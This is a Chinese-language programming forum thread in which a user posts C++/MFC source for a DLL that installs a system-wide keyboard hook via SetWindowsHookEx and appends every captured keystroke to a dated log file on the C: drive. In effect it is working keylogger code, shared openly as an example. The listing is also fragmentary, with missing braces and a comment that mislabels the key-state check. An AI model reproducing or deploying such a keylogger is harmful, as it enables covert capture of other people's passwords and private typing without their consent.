可以给你一个例程,看看它到底可以干什么!Email

解决方案 »

  1.   

    prog_st(st) 谢谢你!呵呵~~~~~~~给你加点分,20分太少了点。
    richi_(跑) 老兄这是个实例,贴出它们的关键部分。
    以下一个是做成DLL的形式哦。/////////////////////////////////////////////////////////////////////////////HHOOK Hook;LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);void SaveLog(char* c);DllExport void WINAPI InstallLaunchEv()

    Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, theApp.m_hInstance, 0);
    } LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

    LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
    if(nCode==HC_ACTION)
    {
    //判定键盘按下
    if(lParam & 0x80000000)

    char c[1];
    c[0]=wParam;
    SaveLog(c);
    }
    }
    return Result;
    }void SaveLog(char* c) 

    CTime tm=CTime::GetCurrentTime();
    CString name;
    name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
    CFile file;
    if(!file.Open(name,CFile::modeReadWrite)) 
    file.Open(name,CFile::modeCreate|CFile::modeReadWrite); 
    file.SeekToEnd();
    file.Write(c,1);
    file.Close();